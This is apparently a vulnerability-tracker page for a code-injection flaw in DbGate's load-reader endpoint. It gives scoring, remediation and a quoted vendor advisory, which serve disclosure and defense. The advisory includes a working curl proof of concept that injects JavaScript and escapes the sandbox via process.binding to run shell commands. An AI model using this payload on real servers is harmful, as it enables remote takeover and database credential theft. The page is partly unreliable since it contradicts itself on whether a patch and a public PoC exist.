Skip to main content

DbGate CVE-2026-48017

HIGH
Code Injection (CWE-94)
2026-06-05 https://github.com/dbgate/dbgate GHSA-hv83-ggc4-v385
8.8
CVSS 3.1 · Vendor: https://github.com/dbgate/dbgate
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege DbGate credentials
  2. Delivery
    Authenticate to DbGate API
  3. Exploit
    Send crafted POST to /runners/load-reader
  4. Install
    Inject JS via functionName parameter
  5. C2
    Bypass require=null via process.binding('spawn_sync')
  6. Execute
    Execute shell commands as Node.js process
  7. Impact
    Exfiltrate DB credentials and pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) network reachability to the DbGate HTTP API (default port 3000 or whatever the reverse proxy exposes), (2) a valid authenticated session - any account works, including a basic user with no admin role and without the run-shell-script permission, since the loadReader endpoint omits both the testStandardPermission('run-shell-script', req) check and the platformInfo.allowShellScripting gate that protect the sibling start endpoint, and (3) the ability to send a crafted JSON body to POST /runners/load-reader with a functionName value that breaks out of the dbgateApi.<name>(...) template. No user interaction, no special configuration, and no non-default deployment mode are needed; the only limiting factor is the PR:L authentication requirement, so instances that disable public registration and have no compromised credentials are not exposed to unauthenticated attackers.

Impact

Real-world risk is high. The CVSS:3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H indicates network-reachable, low-complexity exploitation requiring only low (basic-user) privileges with no user interaction and full CIA impact - consistent with the description. The vendor advisory (GHSA-hv83-ggc4-v385) includes a working PoC that yields shell command execution, so publicly available exploit code exists, though there is no CISA KEV listing and no EPSS or SSVC data was provided to confirm at-scale opportunistic exploitation. Because DbGate is commonly deployed as a Docker-packaged, web-accessible database admin console, any internet-exposed instance with even a single low-tier account (or weak/default credentials) should be treated as a priority patch target; the main risk-limiting factor is the PR:L requirement, which means purely anonymous mass exploitation is not possible without first obtaining credentials. EPSS and KEV signals are absent from the provided data - defenders relying on those feeds for triage should not wait for them given the confirmed PoC and the database-credential blast radius.

Exploit ScenarioDerived

An attacker who has obtained any low-privilege DbGate account (e.g., a basic read-only user, leaked credential, or self-registered account on a misconfigured deployment) sends a single POST /runners/load-reader request whose functionName field closes the templated expression and inserts process.binding("spawn_sync").spawn(...) to execute /bin/sh -c <command> on the server. Because the GHSA advisory ships a working PoC (including a Python script at reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py), turnkey exploitation is straightforward, and in typical Docker deployments the resulting shell runs as root inside the container with access to all configured database connection strings.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 05, 2026

Remote code execution in DbGate (npm package dbgate-api) versions 7.1.8 and earlier allows any authenticated user with basic access to execute arbitrary OS commands by injecting JavaScript into the functionName parameter of the POST /runners/load-reader endpoint. The flaw stems from unsanitized string interpolation into a server-side script template, and the require=null sandbox is bypassed via process.binding("spawn_sync"). Publicly available exploit code exists (vendor-published PoC in the GHSA advisory), and the issue carries a CVSS 8.8 rating with low-complexity, low-privilege exploitation.

RemediationAI

Vendor-released patch: dbgate-api 7.1.9 - upgrade immediately via npm install dbgate-api@7.1.9 (or pull the corresponding DbGate 7.1.9 Docker image / release from https://github.com/dbgate/dbgate/releases/tag/v7.1.9). If patching cannot be performed right away, place the DbGate instance behind a reverse proxy or WAF rule that blocks POST /runners/load-reader requests (this disables the loadReader functionality used by the Shell/Query Reader features, so legitimate users invoking those flows will see errors), restrict network access to the DbGate UI to trusted administrators only via VPN or IP allowlist, and audit/rotate any database connection credentials stored in DbGate plus any secrets reachable from the host or container in case the issue has already been exploited. Disabling self-signup and tightening account provisioning reduces, but does not eliminate, exposure since the bug is reachable by any authenticated user. Full advisory and remediation details: https://github.com/dbgate/dbgate/security/advisories/GHSA-hv83-ggc4-v385.

Affected Packages

npm dbgate-api fix: 7.1.9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

DbGate is a cross-platform web-based database management tool with a Node.js API layer (npm package dbgate-api, identified by CPE pkg:npm/dbgate-api). The root cause is CWE-94 (Improper Control of Generation of Code, i.e., code injection): the loadReader controller in packages/api/src/controllers/runners.js passes the user-supplied functionName into compileShellApiFunctionName() (in packages/tools/src/packageTools.ts), which only applies a regex split on @ and _camelCase to one segment, performing no validation or escaping before the result is concatenated into a JavaScript template literal that is then forked as a child process via startCore. While the template sets require=null to sandbox the executed code, the Node.js process global remains reachable, and process.binding('spawn_sync') exposes a low-level child-process spawn primitive that escapes the sandbox entirely. Unlike the sibling start endpoint, loadReader does not call testStandardPermission('run-shell-script', req) nor check platformInfo.allowShellScripting, so any logged-in user reaches the sink.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/dbgate/dbgate) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/dbgate/dbgate) · only source for this CVE.

CVSS VectorVendor: https://github.com/dbgate/dbgate

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

The POST /runners/load-reader endpoint in DbGate accepts a functionName parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the require=null sandbox restriction.

Details

The loadReader endpoint in packages/api/src/controllers/runners.js (line 353) takes a functionName parameter from the request body and passes it to compileShellApiFunctionName() which performs no sanitization:

Vulnerable code (permalink):

javascript
  loadReader_meta: true,
  async loadReader({ functionName, props }) {
    if (!platformInfo.isElectron) {
      if (props?.fileName && !checkSecureDirectories(props.fileName)) {
        return { errorMessage: 'DBGM-00289 Unallowed file' };
      }
    }
    const prefix = extractShellApiPlugins(functionName)
      .map(packageName => `// @require ${packageName}\n`)
      .join('');

    const promise = new Promise((resolve, reject) => {
      const runid = crypto.randomUUID();
      this.requests[runid] = { resolve, reject, exitOnStreamError: true };
      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));
    });
    return promise;
  },

The loaderScriptTemplate at line 57-68 directly interpolates the compiled function name:

javascript
const loaderScriptTemplate = (prefix, functionName, props, runid) => `
${prefix}
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}
require=null;
async function run() {
const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});
const writer=await dbgateApi.collectorWriter({runid: '${runid}'});
await dbgateApi.copyStream(reader, writer);
}
dbgateApi.runScript(run);
`;

The compileShellApiFunctionName in packages/tools/src/packageTools.ts (line 30-35) performs no validation:

typescript
export function compileShellApiFunctionName(functionName) {
  const nsMatch = functionName.match(/^([^@]+)@([^@]+)/);
  if (nsMatch) {
    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;
  }
  return `dbgateApi.${functionName}`;
}

Two injection vectors:

  1. Without @: The entire functionName is appended after dbgateApi. without sanitization
  2. With @: The part before @ (nsMatch[1]) is appended after .shellApi. without sanitization (only the part after @ goes through _camelCase)

Although the script template sets require=null, the process global is still available. process.binding("spawn_sync") provides direct access to spawn child processes, completely bypassing the sandbox.

Compare with safe code in the same file (line 292):

javascript
  start_meta: true,
  async start({ script }, req) {
    // ...
    await testStandardPermission('run-shell-script', req);  // <-- Permission check!
    if (!platformInfo.allowShellScripting) {                 // <-- Platform check!
      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };
    }
    // ...
  },

The start endpoint requires the run-shell-script permission and checks allowShellScripting. The loadReader endpoint has neither of these checks, making it a privilege escalation from any authenticated user to full RCE.

PoC

An authenticated user sends a POST request to /runners/load-reader with a crafted functionName:

bash
# The malicious functionName breaks out of the expression and injects
# process.binding("spawn_sync") to execute arbitrary commands.
# The // at the end comments out the remaining template code.

curl -X POST http://TARGET:3000/runners/load-reader \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -d '{
    "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//",
    "props": {}
  }'

This generates the following JavaScript that is forked as a child process:

javascript
const dbgateApi = require(process.env.DBGATE_API);
dbgateApi.initializeApiEnvironment();
require=null;
async function run() {
const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({})
// ... rest of template
}
dbgateApi.runScript(run);

After the request, /tmp/dbgate-rce-proof contains the output of id, confirming arbitrary command execution.

A standalone PoC script is available at: reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py

Impact

An authenticated user with basic access (no admin role, no run-shell-script permission required) can:

  1. Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process
  2. Read/write any file accessible to the process
  3. Pivot to connected databases by reading connection credentials from DbGate's storage
  4. Compromise the host system - in Docker deployments, this typically means root access within the container

This is particularly severe because:

  • No special permissions are required beyond basic authentication
  • The require=null sandbox is completely bypassed via process.binding("spawn_sync")
  • The loadReader endpoint lacks the permission checks present on the start endpoint
  • DbGate is commonly deployed as a web-accessible database management tool

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 2 npm packages depend on dbgate-api (2 direct, 0 indirect)

Ecosystem-wide dependent count for version 7.1.9.

Executive ViewAI

Why It Matters

DbGate database management tool (npm package dbgate-api) versions 7.1.8 and earlier contain a remote code execution vulnerability exploitable by any authenticated database user, creating a critical infrastructure risk. With publicly available exploit code disclosed in vendor advisories and no vendor patch currently available, organizations face elevated exposure to system compromise and potential data exfiltration. The vulnerability's low complexity and low-privilege requirements significantly expand the attack surface beyond administrative accounts.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Restrict network access to POST /runners/load-reader endpoint via network segmentation or Web Application Firewall rules; limit database user permissions and disable non-essential user access; implement behavioral monitoring on database connections and OS-level command execution; consider temporary discontinuation of DbGate until patch becomes available.

Threat Intelligence Overview

EPSS Score
0.1%
Top 73% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/dbgate-api
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy